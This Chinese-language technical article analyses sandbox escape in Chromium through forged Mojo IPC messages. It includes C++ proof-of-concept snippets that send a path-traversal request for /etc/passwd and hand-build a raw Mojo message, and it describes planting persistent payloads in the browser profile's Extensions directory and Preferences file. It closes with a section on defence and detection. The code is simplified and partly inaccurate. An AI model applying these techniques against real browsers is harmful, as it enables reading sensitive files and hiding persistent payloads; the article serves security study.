摘要

Chromium 的多进程架构将高风险渲染器囚禁于受限沙箱,所有特权操作必须通过 Mojo IPC 向浏览器进程发起请求。Mojo 接口定义语言(.mojom)自动生成序列化代码,以 C++ 模板的 StructTraits 和 UnionTraits 实现高效编解码。然而,正是这种自动生成的序列化逻辑隐藏了一类致命的陷阱——接口参数校验与调用者能力假设之间的裂缝。攻击者在获得渲染器代码执行权限后,可构造跨越沙箱边界的畸形 Mojo 消息:向 FileSystemManager 接口注入路径遍历序列,利用 Blob 存储系统绕过站点隔离,或通过 WindowOpen 等接口制造幽灵窗口。

Chromium 沙箱架构与 Mojo IPC 基础

站点隔离与进程模型

Chromium 采用 Site Isolation 策略,每个源(origin)被分配到独立的渲染器进程。渲染器运行在受限沙箱中,无法直接访问文件系统、网络或系统调用。任何此类操作必须通过 Mojo 接口向浏览器进程(Browser Process)发出请求,浏览器进程进行权限验证后代理执行。

Mojo 是 Chromium 自研的 IPC 框架,替代了早期的 Legacy IPC 和 ChannelProxy。它提供跨进程的消息传递、接口定义、自动生成绑定代码以及版本控制。Mojo 的核心抽象是 Message Pipe(消息管道),两端由 mojo::Remote 和 mojo::Receiver 持有,分别用于发送和接收接口方法的调用。

Mojo 接口定义与代码生成

Mojo 接口使用 .mojom IDL 定义,例如:

// FileSystemManager.mojom (简化)
interface FileSystemManager {
  OpenFile(string path, OpenFlags flags) => (file.File file);
  DeleteFile(string path) => ();
  GetFileInfo(string path) => (FileInfo info);
};

Mojo 编译器 (mojom_parser) 将 .mojom 转换为 C++ 绑定代码:为每个接口生成一个 Stub 类(服务端)和一个 Proxy 类(客户端)。序列化由 mojo::StructTraits 模板特化完成。开发者只需调用 remote->OpenFile(...),背后的序列化/反序列化完全自动。

这种自动生成机制一方面降低了 IPC 开发门槛,另一方面却掩盖了消息内容的校验责任归属——生成的代码只保证数据格式正确(比如 path 是字符串),但不会对其内容进行安全性校验(如路径是否包含 .. 穿越)。校验的逻辑完全由接口实现者手写,而实现者的安全意识参差不齐。

序列化陷阱:消息伪造

Mojo 消息的二进制布局

Mojo 消息在管道中以二进制格式传输,消息头后跟随序列化后的参数数据。对于方法调用,其布局大致为:

[Message Header: name_id, flags, request_id]
[Payload: struct MethodName_Params {
    field1,
    field2,
    ...
}]

其中参数结构体由 Mojo 编译器根据 .mojom 定义自动生成。每个字段在序列化时遵循对应的 StructTraits 指定的读写规则。对于字符串、数组等动态长度类型,Mojo 使用内联指针(offset-based)指向实际的字符串数据,这些数据跟随在结构体之后。攻击者若能注入恶意 Mojo 消息,就可以直接构造任意的结构体字段,包括长度超限、包含非法字符、或构造嵌套递归结构。

从渲染器注入恶意消息的途径

沙箱限制导致攻击者不能直接连接到浏览器进程的 Mojo 端点,但可以利用已被授予的接口进行二次攻击。常见起点:

  • 已开放的 Mojo 接口:渲染器天然可以访问一些接口,如 blink.mojom.LocalFrameblink.mojom.LocalMainFrame 等。这些接口可能提供获取其它接口的通道。
  • Blink 的内部绑定:通过 V8 漏洞获得任意代码执行后,可以调用 Blink 内部暴露的 Mojo 接口指针。
  • 动态注册端点:在渲染器进程中,某些服务(如 FileSystemManagerBlobRegistry)的 Mojo 端点会在初始化时绑定到渲染器,攻击者可以获取这些 Remote 对象并调用其方法。

一旦获取了某个 Remote 对象的原始 mojo::MessagePipe 句柄,攻击者就可以使用 mojo::WriteMessageRaw 直接发送二进制数据,绕过生成代码的参数验证(因为生成代码在调用前会进行一些断言,但 WriteMessageRaw 跳过这些)。实际上,更可行的方法是利用正常接口调用,但传递精心构造的参数——这就是消息伪造。

FileSystem API幽灵文件攻击

FileSystemManager 接口

FileSystemManager 接口负责处理渲染器对本地文件系统的访问请求。尽管浏览器进程会检查请求的路径是否在允许的目录内,但历史实现中存在多个路径穿越漏洞。

以 CVE-2021-30560 为例:攻击者构造一个恶意的 Blob URL,通过 BlobRegistry 注册一个包含路径穿越的特殊 Blob,然后通过 FileSystemManager 的 OpenFile 方法以该 Blob 为中介打开任意文件。漏洞根源在于 BlobDataHandle 的路径解析逻辑未正确处理符号链接和 .. 序列,而 FileSystemManager 对传入的路径信任了 Blob 的解析结果。

攻击者通过渲染器的 V8 漏洞注入 JavaScript 代码,可以调用 blink::mojom::blink::BlobRegistry 注册一个 Blob,其内部包含指向系统文件的路径。随后通过 FileSystemManager 请求访问该 Blob,即可实现沙箱逃逸的文件读取。

跨域持久化与隐蔽通信

另一种利用 Mojo 序列化缺陷的方式是制造幽灵文件——在浏览器进程的文件系统中创建攻击者可控但用户不可见的文件,用于持久化存储恶意载荷或跨域数据交换。

FileSystemManager 的 OpenFile 支持创建文件,且在沙箱内可指定文件名为任意值。结合路径遍历,攻击者可以将文件写入浏览器进程的任意可写目录(如 Profile 目录),并利用浏览器启动时自动加载的特性实现持久化。例如,将恶意脚本写入 Extensions 目录,或篡改 Preferences 文件修改安全策略。

自建 Mojo 端点与消息伪造

模拟渲染器发送恶意 Mojo 消息

// malicious_mojo_injector.cc
// 模拟在获取渲染器代码执行后,通过原始 Mojo 端点发送路径穿越消息
// 需要链接 mojo_core 库

#include"mojo/public/cpp/system/message_pipe.h"
#include"mojo/public/cpp/bindings/remote.h"
#include"services/file/public/mojom/file_system_manager.mojom.h"
#include"base/strings/string_util.h"

voidSendMaliciousOpenFile(mojo::Remote<file::mojom::FileSystemManager>& remote){
// 伪造请求:打开一个包含路径穿越的文件路径
// 正常情况下,渲染器不允许访问 user_data_dir 外的路径
std::string malicious_path = "../../../../etc/passwd";  // Linux 示例
// 由于 FileSystemManager 内部仅检查路径是否以虚拟根路径开头,
// 攻击者可以通过构造复杂路径绕过

    remote->OpenFile(base::FilePath(malicious_path),
                     file::mojom::OpenFlags::READ,
                     base::BindOnce([](file::mojom::FilePtr file) {
if (file) {
// 成功获得文件句柄,可读取内容
                         }
                     }));
}

说明:真实的利用中,需要先获得 FileSystemManager 的 Remote。这可通过渲染器的 RenderFrameImpl 或直接遍历进程内的 Mojo 端点实现。上述代码用于模拟攻击者调用接口。

直接构造 Mojo 二进制消息

对于更底层的利用,攻击者可以完全绕过生成代码,直接构造 Mojo 消息二进制流:

// raw_message_forger.cpp
// 手动构造 FileSystemManager::OpenFile 方法的调用消息

#include"mojo/public/c/system/types.h"
#include"mojo/public/c/system/message_pipe.h"
#include"base/memory/platform_shared_memory_region.h"

voidSendRawOpenFile(MojoHandle pipe, conststd::string& path){
// 简化的消息布局,实际需遵循 Mojo 序列化格式
// 1. 消息头:命令 ID (uint64_t) = kOpenFile_MethodId (假设已知)
// 2. 参数结构体:OpenFile_Params { string path; int32 flags; }
//    - path 字段:offset + size,后跟实际字符串数据
//    - flags 字段:int32 值

structOpenFileParams {
uint64_t path_offset;   // 指向字符串数据的偏移
uint32_t path_size;
uint32_t flags;
    };
static_assert(sizeof(OpenFileParams) == 16);

// 计算总消息大小
size_t params_size = sizeof(OpenFileParams);
size_t string_size = path.size();
size_t total_size = 24 + params_size + string_size; // 消息头24字节

std::vector<uint8_t> buffer(total_size, 0);

// 消息头 (MojoMessageHeader)
// 省略具体填充...

// 参数结构体
    OpenFileParams* params = reinterpret_cast<OpenFileParams*>(buffer.data() + 24);
    params->path_offset = sizeof(OpenFileParams); // 字符串紧跟结构体
    params->path_size = string_size;
    params->flags = 1; // READ

// 复制字符串数据
memcpy(buffer.data() + 24 + sizeof(OpenFileParams), path.data(), string_size);

// 写入消息管道
    MojoResult result = MojoWriteMessage(pipe, buffer.data(), total_size,
nullptr, 0, MOJO_WRITE_MESSAGE_FLAG_NONE);
if (result == MOJO_RESULT_OK) {
// 消息已发送
    }
}

说明:以上为概念验证,实际 Mojo 消息布局更复杂,包括版本号、标志位等。攻击者通常不需要手动构造,因为获得渲染器代码执行后可以直接调用现有函数。但这种方法展示了 Mojo 的序列化信任边界——只要二进制格式正确,消息就会被处理,而不管其语义是否合法。

防御

服务端严格输入验证

浏览器进程侧的 Mojo 接口实现必须采用“零信任”原则:对每一个从渲染器传入的参数进行严格的语义检查。

  • 路径规范化与根目录限制:在 FileSystemManager 的实现中,对任何路径进行规范化(Resolve),并确认其最终路径位于允许的文件系统根(如 Profile 目录的 FileSystem 虚拟根)之下。
  • 能力检查:对于需要特定权限的操作,在 Mojo 调用时重新验证渲染进程的权限(如 ChildProcessSecurityPolicy)。
  • 递归深度限制:Mojo 反序列化时应设置最大递归深度,防止堆栈溢出;数组/字符串长度应有上限。

Mojo 框架层的安全特性

Chromium 在 Mojo 层面已引入了一些安全加固:

  • MOJO_TRACE_ENABLED:跟踪跨进程消息,但仅用于调试。
  • mojo::internal::ValidationError:绑定代码自动生成的校验逻辑,若数据非法则断开连接。
  • 消息大小限制:单个 Mojo 消息最大 64 MB,防止内存耗尽。

但这些措施不能替代接口实现者的安全编码。未来 Mojo 可能引入声明式安全策略(如每个接口方法标注所需权限),由框架强制验证。

检测监控

  • 进程行为监控:浏览器进程创建意外文件、读取敏感路径时,EDR 应告警。
  • Mojo 消息审计:测试环境下可启用 Mojo 消息日志,分析渲染器是否发送异常的参数。
  • fuzzing:使用 libfuzzer 对 Mojo 接口进行 fuzz,发现解析器的崩溃和越权。

结语

Mojo IPC 的序列化自动化为 Chromium 带来了高度的模块化和开发效率,但同时也模糊了“数据格式正确”与“数据内容安全”的边界。攻击者一旦突破渲染器沙箱的代码执行防线,便可以肆意伪造消息,利用接口实现的疏忽将沙箱屏障变为马奇诺防线——绕过而非强攻。从路径穿越到幽灵文件,从 Blob 劫持到站点隔离逃逸,每一个 Mojo 接口都是一个潜在的城门,而钥匙往往隐藏在序列化的字节流中。